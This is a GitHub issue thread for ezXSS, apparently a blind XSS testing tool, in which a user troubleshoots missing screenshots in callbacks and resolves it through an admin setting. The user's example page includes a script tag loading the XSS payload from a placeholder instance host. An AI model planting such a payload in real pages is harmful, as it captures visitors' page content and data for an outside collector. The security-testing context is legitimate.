ssl/ezXSS

Screenshot functionality not working

Closed this issue · 2 comments

lc commented

Hey @ssl,

Thanks for this awesome tool! I'm having issues where screenshots aren't being generated.

I used docker to launch the services and I can confirm I am getting callbacks with all of the other information.

However, the screenshot label shows nothing:

CleanShot 2024-08-01 at 11 20 42

Furthermore, when I look in the docker container, I can confirm no screenshots were captured:

docker exec -it ezxss-ezxss-1 /bin/ls -lah assets/img

Here are my settings:

CleanShot 2024-08-01 at 11 22 05

Here's the example page I've tried:

<?php
header("access-control-allow-origin: *");
?>
<html>
<head>
<link href="https://fonts.googleapis.com/css?family=Inconsolata" rel="stylesheet">
<title>ssrf.app</title>
<style>
body {
  font-family:"Inconsolata";
  background: rgb(245,245,245);
  text-align:center;
}
</style>
<script src="https://MY_EZ_XSS_INSTANCE"></script>
</head>
<body>
<h1>ssrf.app</h1>
</body>
</html>

I've also tried this by modifying the response on https://example.com and I get the callback, but no screenshot.

I tried solving this with chown -R www-data:www-data /var/www/html/assets/ to see if there was some sort of permission issue with writing to the folder, but that did not fix it either.

When I visit https://MY_EZXSS/assets/payload-tester.html

I see the following:

ezXSS screenshot initialized: no

ssl commented

Hey @lc!

ezXSS screenshot initialized: no would tell me the html2canvas is not added at all.

Your second screenshot tells me that screenshots are enabled inside the admin settings tab. These are global settings.

Under 'Payload' has your fallback payload or payload domain you are using screenshots enabled aswell?

lc commented

Ok, I got it working. It must've been my browser? It showed that I had the correct settings enabled. However, when I logged into the admin panel from my mobile device, it showed the setting as not enabled. So I enabled it from the other browser window and it works!

Sorry for being a nuisance 😁

  • 👍1